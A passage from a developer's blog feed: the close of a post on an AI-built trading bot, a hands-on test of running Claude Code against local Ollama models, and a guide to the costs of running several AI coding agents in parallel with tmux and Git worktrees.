So, can a better AI fix it? Partly, maybe. The strategy can clearly improve: rank each strategy on its own, give trades more room instead of tight stops, let winners run instead of cashing them early, test on a list of stocks that includes the losers.

Using the best AI models available, one to build and one to review, gave me far better software than I would have built alone in a month. I'd do it again.

But the AI improved the engineering. It didn't improve the odds. The market doesn't care which model wrote your code. You're competing with funds that have better data, faster execution and full teams of quants, and with your own temptation to change the rules after a bad week.

The responsible conclusion is not "AI can't trade". It's narrower: AI made it cheap to build and test a trading idea, and the test said the idea wasn't good enough. That's still a useful answer, and it cost me 2.2% instead of years.

AI made the system fast to build. Python made the decisions consistent. Automation took my emotions out of the execution.

But none of that created an edge. Automating a strategy doesn't make it a good strategy.

FAQ

Did the AI pick the trades?
No. That was the whole design. The AI wrote the code; fixed statistical rules picked the trades.

Why not let ChatGPT or Claude decide?
Because I couldn't test it fairly on history, it doesn't decide the same way twice, and it may already know what happened in the past it's being tested on.

Is 2.2% in a month a lot?
In money, not here, because each trade risked 1%. As a signal, yes: small wins and full losses is a losing shape, even with only 17 trades.

Is the bot still trading?
It stopped opening new trades. It only looks after what was already open.

Can I get the code?
Not for now. It's tied to my own accounts, and I don't want anyone running it with real money because of one blog post.

Takeaway

AI can build a real, automated trading system fast. Statistics, a decision table, orders and alerts, running on its own.
Keep the LLM out of the decisions if you want to test them honestly. Rules can be replayed on history; opinions can't.
One month of real money: -2.2%, while a global ETF did +0.3%. Small wins, full losses.
The best version made +26% in tests and still lost to the ETF's +40%. Beating zero isn't the bar; beating "buy and forget" is.
Better AI gave me better code, not better odds. And none of this is investment advice: markets are aggressive.

Would you let an AI near your money: as the builder, as the decision maker, or not at all? Tell me in the comments.

I'm Diogo Soares, a Staff AI Engineer working on AI agents and legacy modernization. If this was useful, follow me here on DEV.to and on Instagram at @diogosoares.dev, where this experiment becomes a 5-slide carousel you can save. This article also has a video walkthrough on my YouTube channel, Diogo Soares Dev, so subscribe there for the next experiments. Let's also connect on LinkedIn, or check out diogosoares.dev.

I ran free Claude Code with Ollama on a mini PC and a Mac M3: what actually runs, why 4 of 5 tests failed, the real wait times, and when it is worth it.

Diogo Soares — Wed, 04 Nov 2026 07:52:20 +0000

I asked Claude Code for a tiny Python file: one function, a few asserts. Nine minutes later, the "agent" answered with a JSON blob pretending to be a tool call, no file on disk, and Claude Code reported the run as a success.

That was test number two. The setup is the one YouTube calls free Claude Code: point Claude Code at Ollama, run an open model on your own hardware, pay no API fees. I watched several videos on it, so I decided to test it myself and put real numbers on it. The idea is real: Ollama speaks the same API format as Anthropic, so Claude Code doesn't know the difference.

A month ago I ran AI offline for 7 days on a €200 mini PC and wrote that coding agents built for cloud models were "not realistic" on that box. That was a prediction from the numbers, not a test. So I tested it, on the same mini PC and then on my Mac, with the same tiny task every time.

This post covers:

What "free Claude Code" actually runs, and what it doesn't.
The setup, in four commands.
Five tests, four failures, and the one that worked.
Why the wait is minutes, not seconds: the 13,000 tokens you never see.
What the popular tutorials do, and a safety alert about "free Opus" promises.
When this setup is worth it.

What "free Claude Code" actually is

Claude Code is two things that usually ship together: the harness (the terminal app, the agent loop, the tools that read and write files and run commands) and the model that decides what to do (Claude, through Anthropic's API).

The free setup keeps the harness and swaps the model:

You (terminal on the Mac)
  |  "create palindrome.py and run it"
  v
Claude Code (Mac)  -- builds the request: system prompt + tool definitions + your message
  |  HTTP, Anthropic Messages format
  v
Ollama (mini PC or Mac)  -- the open model reads everything and answers:
  |                         "call the Write tool with this content"
  v
Claude Code runs the tool on YOUR disk, appends the result to the history,
sends the whole history again, and asks: what next?

No Anthropic model runs anywhere in this setup. Claude's weights are not public, so there is no "old Claude" to download. Every decision comes from the open model you picked (Gemma, Qwen, Llama). Claude Code is the hands; the open model is the brain.

That's not a criticism. It's the most useful thing to understand before you try it, because every result below is the open model's result, on your hardware.

The setup in four commands

Ollama added compatibility with the Anthropic Messages API in v0.14.0 (January 2026), including tool calls and tool results (docs). On the machine running Ollama, raise the context window first (more on why in the next section):

# systemd install (Linux): sudo systemctl edit ollama.service, then add
# [Service]
# Environment=OLLAMA_CONTEXT_LENGTH=32768
# Environment=OLLAMA_HOST=0.0.0.0:11434   # only if Claude Code runs on another machine
sudo systemctl daemon-reload && sudo systemctl restart ollama

# or, running it by hand (macOS too)
OLLAMA_CONTEXT_LENGTH=32768 ollama serve

Ollama listens only on 127.0.0.1 by default (FAQ), which is all you need when Claude Code runs on the same machine. My Ollama runs on the mini PC and Claude Code on the Mac, so I set OLLAMA_HOST to expose it on my network.

Then, on the machine where you run Claude Code:

export ANTHROPIC_BASE_URL=http://192.168.1.214:11434   # your Ollama host
export ANTHROPIC_AUTH_TOKEN=ollama                     # required, ignored by Ollama
claude --model gemma4:e4b

ANTHROPIC_BASE_URL and ANTHROPIC_AUTH_TOKEN are documented Claude Code environment variables; the token is a placeholder Ollama ignores. Ollama also ships a one-liner, ollama launch claude, that picks a model and sets this up for you (docs). Two optional variables I used in the tests: CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC=1 turns off telemetry, error reporting and auto-updates, and API_TIMEOUT_MS gives a slow server more time to start answering.

Ollama's API has no authentication. If you expose it like that, keep it on a network you trust.

The test: one tiny task, five runs

Every run got the same prompt, in headless mode (claude -p), allowed to use only Write, Read and python3:

Create a file palindrome.py with a function is_palindrome(text) that ignores
case and spaces, plus a few asserts at the bottom. Then run it with python3.

It needs three steps: write the file, run it, report. For reference, I ran the same prompt on Claude itself (Opus 5.5, on my Pro plan): three steps, 10.6 seconds, and plain asserts that fail when they should. That's a practical reference, not a controlled comparison: a different model on different hardware, which is exactly the choice you face.


Claude Code	2.1.311, headless (`-p`), my usual global config loaded
Ollama	0.35.0
Models	`qwen2.5-coder:7b` and `gemma4:e4b`, default 4-bit tags
Mini PC	AMD Ryzen 3 3300U (4 cores, 15 W), Proxmox container with 4 cores and 10 GB of the 16 GB RAM, integrated Radeon Vega via Vulkan
Mac	Apple M3, 16 GB unified memory, Ollama running natively
When	3 November 2026, one run per configuration (a real-use test, not a lab benchmark)

Here's what happened:

#	Machine	Model and context	Result	Time
1	Mini PC, iGPU	Qwen2.5-Coder 7B, default 4k	No file. Fake tool call as text	1 min
2	Mini PC, iGPU	Qwen2.5-Coder 7B, 32k	No file. Correct code, wrong format	9 min
3	Mini PC, iGPU	Gemma 4 E4B, 32k	File created, then the GPU crashed	27 min
4	Mini PC, CPU only	Gemma 4 E4B, 32k	File created, stopped by my 45 min limit	45 min+
5	Mac M3	Gemma 4 E4B, 32k	Done: file written, run, reported	3 min 33 s

Each failure taught something different, so let's go through them.

Test 1: the default context keeps a sixth of the prompt

Ollama's default context window depends on your GPU memory: 4k tokens below 24 GiB of VRAM (docs). That covers my mini PC and also a 16 GB Mac.

Claude Code's request was about 12,900 tokens. Ollama's log shows it kept about 2,000 of them in a 4,096-token slot. The model saw fragments: it named a real Claude Code tool, Skill, and one of my skills. But it answered with this, as plain text instead of a structured call:

{"name": "Skill", "arguments": {"skill": "code-review"}}

Claude Code saw a normal text answer and exited with no error.

A failure that reports success is worse than a crash. If you script this, check the files, not the exit code.

The fix is the OLLAMA_CONTEXT_LENGTH line above. Ollama's docs recommend at least 64,000 tokens for coding tools; I used 32,768 because the container has 10 GB of RAM, and the largest prompt in these tests was about 19,000 tokens, so it fit.

Test 2: right code, wrong format

With the full prompt in context, Qwen2.5-Coder understood the task and wrote a correct function. But it wrote the tool call as text again, with a made-up path and Markdown fences inside the file content:

{"name": "Write", "arguments": {"file_path": "/Users/.../palindrome.py",
 "content": "<Markdown code fence>python\ndef is_palindrome(text): ..."}}

Claude Code only runs tools that arrive as structured tool_use blocks. This one arrived as prose, so nothing was written.

The surprising part: Ollama lists tools among Qwen2.5-Coder's capabilities (ollama show qwen2.5-coder:7b). A declared capability is not proof that the model emits calls in the format the agent needs. Gemma 4 E4B declares it too, so the next tests tried it.

Test 3: the first real tool call, and a GPU crash

Gemma 4 E4B called Write properly. After about nine minutes, palindrome.py existed on my Mac's disk, created by a model running on a mini PC.

Then step two. Claude Code sent the whole history again, now about 19,300 tokens, and the mini PC had to read it from the start. During that reading, the integrated GPU's Vulkan driver failed (vk::Queue::submit: ErrorDeviceLost) and Ollama's runner crashed. After 27 minutes Claude Code gave up with an API error.

Test 4: stable on CPU, but too slow to finish

To rule out the driver, I made a CPU-only copy of the model (PARAMETER num_gpu 0 in a Modelfile). No crash this time, but prompt reading dropped to 11 to 14 tokens per second. The file appeared after about 19 minutes; step two took until about 44 minutes; my 45-minute limit stopped it in step three.

Test 5: the Mac finishes in three and a half minutes

Same model, same context, same prompt, on an M3. Claude Code wrote the file, ran it, read the output and reported that all tests passed. The whole run took 3 minutes 33 seconds.

The quality matched the model, not the harness. In both Gemma files I inspected, it wrapped the asserts in try/except and printed a message instead of failing. From the Mac run, trimmed:

try:
    assert is_palindrome("racecar") == True, "Test Case 2 Failed: 'racecar'"
    assert is_palindrome("hello") == False, "Test Case 3 Failed: 'hello'"
    # ...
    print("\nAll tests passed successfully!")
except AssertionError as e:
    print(f"\n--- TEST FAILED ---\n{e}")

The script exits with status 0 even when a test fails. A reviewer would catch it; an agent that trusts the exit code would not.

Why it takes minutes: the 13,000 tokens you never see

The model's writing speed was not the main problem. Gemma wrote about 7 tokens per second on the mini PC's GPU and about 20 on the Mac, fine for a short file. The problem was reading. These ranges come from Ollama's logs across the runs above:

Machine	Prompt reading (tokens/s)	Generation (tokens/s)	Reading a 13k prompt
Mini PC, CPU only	11 to 14	about 3	15 to 20 min
Mini PC, iGPU	19 to 37	3.7 to 7.5	6 to 11 min
Mac M3	190 to 230	13 to 21	about 1 min

Every agent step sends the system prompt, the tool definitions and the whole conversation so far. In my runs that was about 12,900 tokens on step one and about 19,000 on step two. That number includes my own global setup (a CLAUDE.md with engineering rules and a list of skills), so a clean install sends less, but the shape is the same: the agent pays for its instructions on every step, before the first word of the answer.

Two more costs showed up in the logs:

The cache didn't save the second step. Ollama can reuse the start of a previous prompt, but on the Mac it re-read all 19,000 tokens on step two, so its cache didn't match the earlier request. I don't know what changed between steps. Anthropic's prompt caching is built to avoid paying for the same prefix twice; locally, I paid full price.
Claude Code hangs up on a silent server. While Ollama reads a long prompt, it sends nothing. On the mini PC, Claude Code dropped the connection about every six minutes and retried, which is consistent with the five-minute idle timeout its docs describe for streaming responses. Each retry reused part of Ollama's cache, so it crept forward, slowly. API_TIMEOUT_MS didn't change this, because it only covers the wait for response headers. The same page lists API_FORCE_IDLE_TIMEOUT and CLAUDE_STREAM_IDLE_TIMEOUT_MS for this watchdog. I didn't test them, so the retries may be avoidable; the reading time isn't.

On a 4-core mini PC the agent loop is the bottleneck, not the model. The same model, without Claude Code's 13,000-token prompt, wrote 200 tokens in about 27 seconds in my raw benchmark.

What the popular tutorials actually do

I looked at six videos that promise free Claude Code. They use three different routes:

Route	What runs the model	What you give up
Ollama, local model	Your machine	Speed and quality, set by your hardware
A proxy or router to free cloud tiers	Someone else's servers, often several providers	Your code leaves your machine; free tiers have limits
"Free Opus for 6 months"	Unknown	You can't verify who provides it: a security risk

The local route is the one I tested, and the better tutorials are honest about it: it's private, it has no API fees, and it's slower.

The proxy route connects Claude Code to free tiers of other providers' models (GLM, Gemini and others), and one of them rotates accounts to avoid hitting limits. It's fast because the model runs in a data centre, but your code goes to whoever runs those servers, and rotating accounts to dodge limits can break the providers' terms of service.

The third route promises real Claude models (Opus, the newest ones) for free, unlimited, for months. I didn't open those links, so I can't say what's behind them, and this is not an accusation against anyone. It's a safety alert, because these videos use patterns that security researchers warn about in tutorial videos in general (TechRadar, Cybereason):

a "guide" locked behind subscribe, like and comment;
the real link in a pinned comment instead of the description;
"activate it on your PC first, then on your phone", which asks you to run something on your computer;
three-minute videos with keyword-stuffed descriptions.

Claude's models run in Anthropic's cloud, and every request has a cost. If a third party promises unlimited access to paid Claude models for free, treat it as a red flag: check who provides it, don't click links to unlock a subscription, and never enter your credentials or run software you don't understand. One legitimate offer I verified is Anthropic's six months of Claude Max for eligible open-source maintainers, and you apply for it on Anthropic's own site.

Trade-offs: when this setup makes sense

	Local model through Claude Code	Claude through Anthropic's API
Cost per use	No API fees (hardware and electricity)	Subscription or per token
Privacy	Model requests stay on your network	Code goes to Anthropic
This 3-step task	3.5 min on an M3; didn't finish on a mini PC	10.6 s (Opus 5.5)
Quality	The open model's (4B to 8B here)	Claude's
Works offline	Yes	No
Failure mode	Failed silently twice in five runs	No silent failure in my one run

I'd use it for three things: learning how an agent loop works (watching the logs is the best tutorial I know), small private tasks on a machine with Apple Silicon or a real GPU, and offline work where cloud isn't an option.

I wouldn't use it on a low-power mini PC, for anything with more than a handful of steps, or as a cheaper replacement for Claude on real work. The harness was designed around Claude: its instructions and tool descriptions were written for a model that follows them well. A 4B model gets the same manual, and these tests show where it slips.

FAQ

Is this really Claude Code?
The app is. The model isn't: every decision comes from the open model you run.

Would a bigger model fix the failures?
Probably some of them, at a higher cost. Ollama's own blog suggests larger coding models such as qwen3-coder and gpt-oss:20b, which need more memory than my mini PC's container has. I haven't tested them here.

Why not just use the 64k context Ollama recommends?
On a machine with 16 GB or more to spare, do. A bigger window costs memory, and my container has 10 GB. These tests never went past about 19,000 tokens.

Does ollama launch claude change the results?
It saves the configuration step. The model, the hardware and the prompt size are the same, so the speed is too.

Is my code private with this setup?
With a local model, the model requests go only to your Ollama server. Claude Code itself still sends telemetry and error reports unless you set CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC=1. With the proxy route, your code goes to the provider. For sensitive code, check the app's network traffic and telemetry settings yourself instead of relying on one variable.

Takeaway

"Free Claude Code" is Claude Code without Claude. The open model does all the thinking.
Raise Ollama's context first. The 4k default kept a sixth of the prompt, and the model improvised.
Test tool calling, don't trust the label. Both models declared it; only one delivered. Good code in the wrong format writes nothing.
Prompt reading decides if it works. About 13,000 tokens per step took 15 to 20 minutes on a mini PC CPU and about a minute on an M3. Claude did the whole task in 10.6 seconds.
Check the result, not the exit code. Two runs looked fine and weren't.
One run per setup is a field test, not a failure rate. Your hardware and model will move these numbers; the failure modes are what to look for.
Be careful with "free Opus" promises. Don't unlock guides, follow pinned links or run unknown software to get a subscription. One legitimate offer I verified is Anthropic's open-source program, applied for on anthropic.com.

What's the slowest hardware you've run a coding agent on, and did it finish? Tell me in the comments.

I'm Diogo Soares, a Staff AI Engineer working on AI agents and legacy modernization. If this was useful, follow me here on DEV.to and on Instagram at @diogosoares.dev, where the five tests become a carousel you can save before you try this yourself. This article also has a video walkthrough on my YouTube channel, Diogo Soares Dev, so subscribe there for the next experiments. Let's also connect on LinkedIn, or check out diogosoares.dev.

The Hidden Cost of Running Multiple AI Coding Agents

Diogo Soares — Mon, 02 Nov 2026 08:46:55 +0000

My terminal has several AI coding agents running. One is adding a feature in a side project, another is writing tests in a second repository, a third is reviewing a branch. Every pane is moving, and it looks like a lot of work is getting done.

Then the panes stop, one after the other, with the same kind of message: usage limit reached. The work doesn't fail. It just waits, until the window resets or until I decide to pay for more.

I use Claude Code on a Claude Pro plan and OpenAI Codex on ChatGPT Plus, two subscriptions of $20 a month each in the US (billed monthly), plus tmux, Git worktrees, subagents, Agent Teams and Orca. That combination raised a question I couldn't answer from the feeling of speed: are parallel AI agents making me more productive, or am I just reaching my subscription usage limits faster?

This post is my answer, built from the official docs of both tools and the research on AI coding productivity:

What a Claude Pro and a ChatGPT Plus plan actually give you, and what they don't promise.
Single agent, tmux sessions, subagents and Agent Teams compared, with diagrams.
A tested tmux + Git worktree workflow, and where Orca fits.
A way to measure it on your own plans, with the metrics that matter.
A decision framework and a list of habits that make a $20 plan last.

One idea runs through all of it: more generated code is not more delivered software.

The illusion of infinite productivity

Running four agents feels four times faster. It isn't, and the reason is in three words people use as synonyms.

Term	What it measures	What parallel agents change
Throughput	Work items completed per hour (here: code generated, not yet reviewed)	Can increase for independent tasks, but coordination and resource limits may reduce the gains
Latency	Time from "start this task" to "this task is done"	Can go down for independent tasks, up for dependent ones
Productivity	Verified, merged, working features per unit of your time and budget	Unknown until you count review, rework and waiting

At best, parallel agents raise throughput of generated code. Productivity only counts code that passed tests, survived review and merged. Everything between those two numbers is work that lands on you: reading diffs, resolving conflicts, re-explaining context, and waiting for a reset.

There is research on how unreliable the feeling of speed is. In METR's 2025 randomized controlled trial, 16 experienced open-source developers worked on 246 real issues from their own repositories. With AI tools allowed, they took 19% longer. Before the study they expected a 24% speedup, and afterwards they still believed AI had made them about 20% faster.

That result has limits that matter. It used early-2025 tools (mostly Cursor with Claude 3.5 and 3.7 Sonnet), large mature codebases and a small sample. In a February 2026 update, METR said developers are probably more sped up now, but its new data is "only very weak evidence" of how much, partly because many developers refused to work without AI. So the study is not evidence that AI makes you slower. Its useful lesson here is simpler: your sense of speed is not a measurement.

Google's DORA team points in the same direction from a different angle. The 2024 report associated higher AI adoption with better documentation and code review speed, but also with an estimated 1.5% drop in delivery throughput and 7.2% drop in delivery stability. The 2025 report sums it up as AI being an amplifier of what a team already does well or badly.

What Claude Pro and ChatGPT Plus usage limits actually give you

Before comparing workflows, get the budget right. Neither vendor sells you a fixed number of tokens, and several different limits get mixed up in discussions online.

Limit	What it is	Claude Pro	ChatGPT Plus (Codex)
Session window	Usage allowed inside a five-hour period	Five hours, starting with your first message (source)	Five hours, published as ranges of local messages per model (source)
Weekly limit	A second cap over the week	Yes, across all models, reset at a fixed time per account	"Weekly limits may also apply"
Shared pool	What draws from the same budget	claude.ai, Claude Code and Claude Desktop	Local messages and cloud tasks
Published allowance	A guaranteed token count	None; "the number of messages you can send will vary" (source)	Ranges, explicitly "not fixed message limits"
Paying for more	When the plan runs out	Optional usage credits, prepaid, billed at standard API rates (source)	Optional credits, or an API key billed at API rates
Context window	How much one conversation can hold	A model property and a separate limit, though a fuller context costs more quota per turn	Same: a separate limit, but more context means more usage
How to check	Remaining usage	`/usage` in Claude Code, Settings > Usage	`/status` in the CLI, the Codex usage dashboard

Prices and ranges are as of November 2026. Three details change how you should work.

The pool is shared. Every Claude Code session in every tmux pane, every subagent and every chat on claude.ai draws from the same Pro budget. Ten terminals are not ten budgets. On the OpenAI side, local messages and cloud tasks share one allowance too, and the docs warn that cloud tasks "may use more of your allowance than local messages".

Usage is not message count. Anthropic says usage depends on the length and complexity of the conversation, the features you use, the model and the effort level. Its Claude Code guide adds the part most people miss: every turn resends the conversation so far, plus CLAUDE.md and the files Claude has read, before your new prompt. A long session gets more expensive per message as it grows.

Model choice is the biggest lever you control. OpenAI publishes it plainly. On Plus, the heaviest model in the Codex table allows 5 to 45 local messages per five hours, and the lightest allows 350 to 3,000. The published ranges for the two ends of the table differ by about two orders of magnitude, and OpenAI says they vary by task, so read them as a direction, not a conversion rate. Anthropic doesn't publish numbers, but says Opus "uses meaningfully more of your quota" and that Sonnet is the right choice for most coding work.

Two traps to avoid. API prices are not the price of subscription usage; they only apply when you turn on usage credits or use an API key. And if ANTHROPIC_API_KEY is set in your shell, Claude Code uses that key instead of your subscription, which can turn an evening of "free" agents into an API bill.

One agent vs multiple agents

There are four architectures in my day-to-day, and they behave very differently on tokens, context and review.

flowchart LR
  subgraph A["A. Single agent"]
    D1([You]) --> S1[One session]
  end
  subgraph B["B. tmux sessions"]
    D2([You]) --> P1[Claude Code: project 1]
    D2 --> P2[Codex: project 2]
    D2 --> P3[Claude Code: project 3]
  end
  subgraph C["C. Subagents"]
    D3([You]) --> M[Main session]
    M --> SA1[Explore]
    M --> SA2[Test runner]
    SA1 -. summary .-> M
    SA2 -. summary .-> M
  end
  subgraph D["D. Agent Team"]
    D4([You]) --> L[Lead]
    L --> T1[Teammate 1]
    L --> T2[Teammate 2]
    T1 <-. messages .-> T2
  end

A. A single agent

One Claude Code or Codex session working through tasks in order. It has the best context continuity: the agent remembers why a decision was made, and you review one stream of changes. Debugging is simple because there is one author.

It isn't automatically the most token-efficient option, though. Because every turn resends the whole conversation, a session that carries three unrelated tasks pays for the history of the first two while working on the third. Anthropic's own best practices say /clear between unrelated tasks "costs nothing" and stops the next task from paying for the previous one. A single agent is efficient when its context is relevant, not when it is long.

B. Multiple tmux sessions across projects

Independent agents on independent projects. This is the cleanest form of parallelism: no shared files, no merge conflicts, and each agent has a small, relevant context.

Two limits still apply. All the Claude Code sessions share one quota, so parallelism spends your five-hour window faster; it doesn't create more of it. And the scarce resource moves to you: each pane eventually asks a question, needs a decision or produces a diff to review. tmux keeps the sessions alive and organized. It does nothing for token consumption.

This is also where mixing providers is a real advantage. Claude Pro and ChatGPT Plus are two separate pools. Putting one project on Claude Code and another on Codex is the only way in this post to get more included allowance without upgrading a plan or paying API rates for credits.

C. Subagents inside one project

A parent session delegates a bounded job to a subagent. In Claude Code, each subagent runs in its own context window, and only its result returns to the main conversation. The built-in Explore subagent, for example, is read-only and made for searching a codebase.

The common misunderstanding is that subagents save tokens. They save context, which is different. The docs say each subagent sends its own requests, which "count toward the same usage limits as your main conversation". What you gain is a main session that stays short and focused, because 40 files of search results never enter it. Codex says the same about its own subagents: they "consume more tokens than comparable single-agent runs" (source).

A real example from this post. To research it, I delegated the documentation reading to Claude Code subagents (Claude Code 2.1.308): five of them read the Anthropic help center, the Claude Code docs, the Codex docs, Orca's docs and the productivity studies in parallel, and all came back in under two minutes. Claude Code reported about 430,000 tokens across those five. That's a token total, not a share of my quota, which neither tool exposes as a number. That's the ideal case for subagents: read-only, independent, verbose work. It still needed checking: one later verification pass found that an earlier subagent summary had marked a sentence as missing from a doc page when it was there.

Subagents pay off for narrow, verbose, read-heavy tasks: exploring a codebase, running a test suite and summarizing failures, reviewing a diff. They pay off more with a cheaper model; Claude Code lets you set model: haiku on a simple subagent.

D. Agent Teams

Agent Teams in Claude Code are experimental and off by default (you enable them with CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1). A lead session coordinates separate Claude Code instances that share a task list and message each other directly. Subagents return their result to the caller. One catch if you use both: while Agent Teams are enabled, a subagent that Claude names launches as a teammate, so a team, with team-level token costs, can form when you only asked for delegation.

The docs are direct about the cost. Agent Teams "use significantly more tokens than a single session", usage scales with the number of active teammates, and the costs page estimates about 7x the tokens of a standard session when teammates run in plan mode. The same docs say that for sequential tasks, same-file edits or work with many dependencies, a single session or subagents are more effective.

Anthropic's engineering team found the same pattern outside Claude Code. Its multi-agent research system used about 15 times the tokens of a chat, worked best on breadth-first research, and the post notes that "most coding tasks involve fewer truly parallelizable tasks than research".

	Single agent	tmux sessions	Subagents	Agent Team
Context	One, continuous	One per project	Isolated per task, summary returns	One per teammate
Tokens vs one session	Baseline	Sum of sessions, same pool	Higher, but the main context stays small	Highest, scales with teammates
Coordination	None	You	The main agent	Lead, task list, messages
Merge conflicts	None	None across projects	Low if subagents only read	Possible on shared files
Best for	Dependent, sequential work	Unrelated projects	Search, tests, review	Research, competing hypotheses, cross-layer work with clear ownership

tmux, Git worktrees and multi-agent IDEs

When you want two agents on the same repository, they need separate checkouts, or they'll edit the same files under each other. Anthropic's docs put it simply: give each piece of work "its own checkout so the edits can't collide". Git worktrees are the standard way to do that: each worktree is a separate directory, on its own branch, sharing one repository.

Here is the workflow I'd use. I ran the git and tmux commands in a scratch repository with git 2.54 and tmux 3.8, with the agent commands replaced by echo so no usage was spent (the git pull and npm ci lines need a real remote and project, so they didn't run there):

# From the main checkout, with an up-to-date main
git switch main && git pull --ff-only

# 1. One worktree and one branch per independent task
git worktree add -b feat/rbac ../app-rbac main
git worktree add -b feat/audit-log ../app-audit main

# 2. Worktrees are fresh checkouts: no .env, no node_modules.
#    Start from the committed template, never your real .env, then give
#    each worktree its own dev-only database and no production secrets.
cp .env.example ../app-rbac/.env && cp .env.example ../app-audit/.env
createdb app_rbac && createdb app_audit
perl -pi -e 's|^DATABASE_URL=.*|DATABASE_URL=postgres://localhost:5432/app_rbac|' ../app-rbac/.env
perl -pi -e 's|^DATABASE_URL=.*|DATABASE_URL=postgres://localhost:5432/app_audit|' ../app-audit/.env
(cd ../app-rbac && npm ci) && (cd ../app-audit && npm ci)

# 3. One tmux session, one window per agent
tmux new-session -d -s agents -n rbac -c "$PWD/../app-rbac"
tmux new-window -t agents -n audit -c "$PWD/../app-audit"
tmux send-keys -t agents:rbac 'claude "Implement docs/tasks/rbac.md. Run npm test before you stop."' Enter
tmux send-keys -t agents:audit 'codex "Implement docs/tasks/audit-log.md. Run npm test before you stop."' Enter
tmux attach -t agents

Each task description lives in a file in the repository, so both agents start from the same written requirements instead of a prompt you typed differently twice. The second window runs Codex on purpose. One practical detail: the first time you run claude in a new directory it asks you to trust the folder, so attach to the session and accept it before the prompt runs.

Then review and merge like you would a colleague's branch:

git log --oneline main..feat/rbac          # what the agent committed
git diff --stat main...feat/rbac           # how big the change is
(cd ../app-rbac && npm test)               # run the checks yourself
git switch main && git merge --no-ff feat/rbac

# Cleanup, only after the merge and once nothing in the worktree still matters
git -C ../app-rbac status --short --ignored   # lists what removal would touch
git worktree remove ../app-rbac            # fails on modified or untracked files
git branch -d feat/rbac                    # fails if the branch isn't merged
dropdb app_rbac                            # the worktree's own dev database
# Repeat for feat/audit-log, ../app-audit and app_audit, then:
tmux kill-session -t agents

In my test, git worktree remove refused to delete a worktree with an untracked file until I passed --force, and git branch -d refused to delete a branch still checked out in a worktree. Keep those guards, and know their gap: gitignored files don't count, so node_modules and a .env you edited inside a worktree are deleted without a warning. That's why the status --ignored line comes first: if it lists anything you still need, copy it out before you remove the worktree.

Both tools also do this for you. claude --worktree feature-auth starts a Claude Code session in a new worktree, and a .worktreeinclude file lists the gitignored files to copy into it; keep that list to dev-only files, for the same reason as above. OpenAI's desktop app has a Worktree mode for running Codex chats in parallel (docs); its docs don't describe the same for the CLI.

A worktree isolates files, not processes. Both agents run as your user, on the same machine, with the same network access, the same credentials in ~/.aws or ~/.ssh, and often the same local database and ports. If two worktrees run migrations against one Postgres database, they will collide, which is why each one got its own above. If you need security isolation, that comes from the agents' sandbox settings, containers or separate machines, not from a second directory.

Where Orca fits

Orca is an open-source (MIT) desktop app for running coding agents side by side, each in its own Git worktree. It supports Claude Code, Codex and many other CLI agents, and you use your own subscriptions; it doesn't sell model usage. According to its docs, it creates a real git worktree per task, shows diffs you can annotate and send back to the agent, notifies you when an agent finishes or needs attention, and tracks the usage and reset times of providers like Claude Code and Codex in its status bar.

What it doesn't do: raise your limits. Orca runs the same CLIs against the same plans, so four agents in Orca spend the same pool as four agents in tmux. Its own docs say to prefer the provider console for authoritative spend. Its value is visibility (which agent is waiting on you, how much quota is left) and less manual worktree work. Its cost is another app in your toolchain that releases very often (v1.4.245 on October 30, 2026), with plugins that, per its release notes, run with full access to your computer once approved.

My rule: if you run one or two agents, tmux and three git commands are enough. When you regularly lose track of which agent is blocked, a tool like Orca starts paying for itself in attention, not in tokens.

The hidden cost of parallelism

Parallel agents move work to places you don't see in the moment.

Duplicated context. Every agent learns your codebase from scratch: it reads CLAUDE.md or AGENTS.md, explores the folders, opens the same core files. Four agents pay that onboarding four times, from one quota.

Coordination tokens. In an Agent Team, messages between teammates and task-list updates are model calls too. Every teammate is also a separate Claude instance with its own context window, which is the reason Anthropic gives for teams in plan mode using about seven times the tokens of a standard session.

Merge conflicts and semantic conflicts. Worktrees prevent agents from overwriting each other's files. They don't prevent two branches from making incompatible decisions, like two different error formats or two ways of checking a role. Git merges those cleanly, and your tests or your users find them later.

Review is serial. You can run five agents in parallel, but you read diffs one at a time. If an agent produces a 600-line change in 20 minutes and you need 40 minutes to review it properly, adding a second agent mostly doubles your review queue.

Interruptions. A limit that hits halfway through a task stalls it. Recent Claude Code versions (2.1.234 and later) wait and continue on their own after the reset, but the first request after a long break misses the prompt cache and reprocesses your whole context. Meanwhile, the half-finished branch blocks whatever depended on it.

flowchart LR
  G[Agents generate code<br/>parallel] --> R[You review<br/>serial] --> T[Tests and fixes] --> M[Merged and verified]
  R -. rework .-> G

The bottleneck in AI-assisted development is usually the review step, not the generation step. Add agents until your review queue is full, and stop there.

How to measure this on your own plans

No article can tell you which workflow wins on your codebase, your plans and your review speed. A small, controlled comparison can, and it's the only way to stop trusting the feeling of speed that METR measured. This is the setup I'd use.

The project. A TypeScript REST API with PostgreSQL, authentication, role-based access control (RBAC), automated tests and one small frontend screen. Every run starts from the same commit, the same written task files and the same acceptance tests.

The tasks. A mix of independent and dependent work:

#	Task	Depends on
T1	Add a `roles` table, migration and seed	none
T2	RBAC middleware: deny by default, check role and resource owner	T1
T3	Audit log of security events (login, failed login, role change)	none
T4	Rate limiting on login with progressive lockout	none
T5	Admin screen listing users and their roles	T2
T6	Tests that try IDOR and privilege escalation against T2	T2

The workflows. Single agent, tmux sessions (one task per session, same checkout, to expose conflicts), subagents, an Agent Team, tmux with worktrees, and worktrees split across Claude Code and Codex. If you use Orca, run the last one from it as a seventh. Change one thing at a time: same models, same task files, same tests, and at least two runs per workflow, because one run of an agent is an anecdote.

The metrics. Wall-clock time to the last merged task, active human time (time you spend typing, reviewing or deciding), input, output and cache tokens, quota consumed, sessions interrupted by a limit, acceptance test pass rate, security issues found in review, merge conflicts, rework rounds, and verified tasks per hour: tasks that passed the acceptance tests and your review, divided by wall-clock hours.

Both tools expose token data. Claude Code exports claude_code.token.usage through OpenTelemetry when CLAUDE_CODE_ENABLE_TELEMETRY=1 is set and an exporter is configured (for example OTEL_METRICS_EXPORTER=console), with input, output and cache tokens as separate types, and codex exec --json emits a turn.completed event with input_tokens, cached_input_tokens and output_tokens (docs). Quota is harder: neither plan shows a raw number, so record the percentage from /usage or /status before and after each run.

Put one row per workflow and one column per metric in a spreadsheet, and read verified tasks per hour first. A workflow that finishes faster but needs more rework or more of your review time hasn't won anything.

